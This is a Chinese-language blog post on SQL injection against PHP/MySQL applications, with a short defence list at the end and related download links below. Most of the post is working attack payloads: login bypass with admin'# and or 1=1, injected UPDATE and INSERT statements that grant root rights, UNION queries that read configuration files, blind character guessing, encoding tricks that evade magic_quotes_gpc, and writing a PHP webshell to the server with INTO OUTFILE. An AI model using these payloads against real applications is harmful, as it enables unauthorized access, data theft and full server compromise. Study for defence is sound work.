`
willeager
  • 浏览: 96052 次
  • 性别: Icon_minigender_1
  • 来自: 福建
社区版块
存档分类
最新评论

PHP 中的SQL注入

    博客分类:
  • PHP
阅读更多

magic_quotes_gpc=Off的情况
1.字符串的注入
select:
正常select * from user where username='admin' and password='12$%&*'
利用#作为mysql中的注释:提交username的注入 admin'# 语句变为select * from user where username='admin'#' and password='12$%&*'
或者是admin' or 1=1  语句变为select * from user where username='admin' or 1=1 and password='12$%&*'

update:
同理把UPDATE users SET password='abc',email='will@163.com’ WHERE id=1
转为UPDATE users SET password='abc',email='will@163.com’,isroot=’1’ WHERE id=1

insert:
同理INSERT INTO user VALUES('$id','$login','$pass','$email',’2')
改为INSERT INTO user VALUES ('id','name','pass','will@163.com’,’1’)#','2')

注:浏览器url无法提交# 号,用%23代替

2.VERSION(),DATABASE(),USER() ,SYSTEM_USER() ,SESSION_USER()
获取版本用户名等信息查找mysql
select user(),database(),version();

3.利用union
select title from test where id=1 and 1<>1 union select password from user;

读文件:
select id,name from user where id=1 and 1<>1 union select 1,load_file('c:/../sql.inc');
有可能搞到了配置信息了噢

写文件:
select name from user where id=1 and 1<>1 union select '<?php phpinfo(); ?>' from user into outfile '../a.php';
现在可以访问a.php看看吧。如果是<?php system(dir); ?>呢


知道同一个表的id以及表名。然后猜测用户名第一位是否为a:  select id from user where id=1 and ascii(mid(name,1,1))=97;
看另一个表:select id from test where id=(select 1 from user where ascii(mid(name,1,1))=97);


magic_quotes_gpc=On的情况(字段如果是字符串,那么就很难注入了,所以写成where id='$id'可以安全很多啊)
magic_quotes_gpc绕过法:
 不能输入'号了,那么
'a'相当于char(39,97,39)
select 0x273B;输出 '; 这个也不错的
需要字符串的话可以用char或者16进制,这样就绕过了magic_quotes_gpc了


3.核心技术,利用php+mysql注入漏洞直接写入webshell。。
上传文件,文件内容<?php system(dir); ?>,改文件名为jpg,然后利用上面的写文件方法了,配合magic_quotes_gpc绕过法使用


防注入:

有可能的话打开安全模式, display_errors=off, magic_quote_gpc=on
addslashes()或者mysql_real_escape_string()
程序判断:intval()的使用

字段值都用'$id'的方式来用


一个管理员:username和password用md5加密

分享到:
评论

相关推荐

    PHP中全面阻止SQL注入式攻击

    ### PHP中全面阻止SQL注入式攻击 在当前的网络环境中,Web应用程序的安全性变得尤为重要,而其中SQL注入攻击是常见的安全威胁之一。SQL注入是指攻击者通过将恶意SQL代码插入到应用程序的输入字段中,从而控制数据库...

    PHP中SQL注入式攻击的实现与防范.pdf

    【PHP中的SQL注入攻击】 SQL注入式攻击是网络安全领域中的一种常见威胁,主要针对使用PHP等编程语言构建的Web应用程序。这种攻击方式是通过输入恶意的SQL代码到应用程序的输入字段,来操纵后端数据库,获取、修改或...

    php168sql注入漏洞

    然而,在某些版本中,PHP168存在着严重的SQL注入漏洞,攻击者可以利用此漏洞非法获取数据库中的敏感信息。 #### 漏洞复现步骤 为了更好地理解这个漏洞是如何被发现并利用的,我们首先按照给定的部分内容中的步骤来...

    PHP+Mysql 带SQL注入源码 下载

    当应用程序没有正确地过滤用户输入并将其直接拼接到SQL查询中时,就可能发生SQL注入。例如,一个不安全的登录表单可能会允许攻击者通过输入`' OR '1'='1`这样的字符串,使得所有用户的登录尝试都能成功,因为这个...

    sql注入讲解ppt.pptx

    SQL 注入是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库...

    CmsEasy crossall_act.php SQL注入漏洞.md

    根据提供的文件信息,CmsEasy的crossall_act.php文件中存在一个SQL注入漏洞,这是在IT行业中常见的安全漏洞类型。SQL注入攻击者可以通过这个漏洞在数据库中执行恶意的SQL语句,从而对网站数据库进行非授权的操作。 ...

    SQL 注入天书.pdf

    SQL注入(SQL Injection)是网络渗透测试中的关键一环,涉及到服务器安全、数据保护和应用设计等多个方面。sqli-labs是一个在线学习平台,由Lcamry创建,提供了多个级别的挑战,让学习者逐步了解和掌握SQL注入技术。...

    PHPSQL注入漏洞学习

    在网络安全领域,SQL注入是一种常见的攻击手段,尤其在PHP编程中更为常见。本文将深入探讨PHP SQL注入漏洞的原理、类型、影响以及防范措施,旨在帮助开发者更好地理解并避免此类安全问题。 一、SQL注入漏洞概述 SQL...

    360提供的php防sql注入代码修改类

    总的来说,"360提供的php防sql注入代码修改类"是一个实用的工具,旨在帮助开发者提高PHP应用的安全性,减少SQL注入和HTTP跨站攻击的风险。通过理解并应用这个类,我们可以更好地保护我们的网站和用户数据。在实践中...

    SQL注入全面讲解技术文档

    SQL注入是一种常见的网络安全威胁,它利用了Web应用程序中对用户输入数据处理的不足,使得攻击者能够注入恶意的SQL代码,以获取未经授权的数据或者控制数据库服务器。以下是对SQL注入漏洞的全面讲解,包括其原理、...

    PHP与SQL注入渗透方法.doc

    以下是一个典型的PHP脚本中的SQL注入场景: ```php $name = "ilia';DELETE FROM users;"; $result = mysql_query("SELECT * FROM users WHERE name='{$name}'"); ``` 原本意图查询名为`ilia`的用户信息,但由于未...

    metinfo 后台sql注入1

    本文将深入探讨MetInfo 6.1.0版本中的一个SQL注入漏洞,该漏洞存在于app/system/feedback/admin/feedback_admin.class.php文件的第620行。 SQL注入是一种常见的网络安全威胁,攻击者通过输入恶意的SQL代码,欺骗...

    web安全性测试之sql注入入门篇

    PHP SQL 注入是指在 PHP 应用程序中使用的 SQL 注入攻击。PHP SQL 注入可以分为两种类型: * PHP+MySQL:使用 MySQL 数据库的 PHP 应用程序 * PHP+PostgreSQL:使用 PostgreSQL 数据库的 PHP 应用程序 SQL 注入的...

    防止sql注入工具类l

    在提供的文件名`4_do.php`中,可能包含了实现防止SQL注入的具体代码。通常,这样的文件可能会定义一个工具类,提供处理用户输入、构建安全SQL查询的方法。为了进一步了解这个工具类的用法和实现,你需要查看这个文件...

    JavaScript过滤SQL注入字符

    JavaScript过滤SQL注入字符 ...总结,JavaScript在防止SQL注入中扮演了辅助角色,前端过滤可以提高安全性,但必须结合后端验证才能构建坚固的防线。开发者应了解并实施最佳实践,确保应用的安全性。

    SQL注入漏洞演示源代码

    SQL注入漏洞是网络安全领域中的一个重要话题,它涉及到数据库管理和Web应用程序的安全性。在这个"SQL注入漏洞演示源代码"中,我们可以深入理解这种攻击方式的工作原理,并学习如何防止它。 SQL注入是通过输入恶意的...

Global site tag (gtag.js) - Google Analytics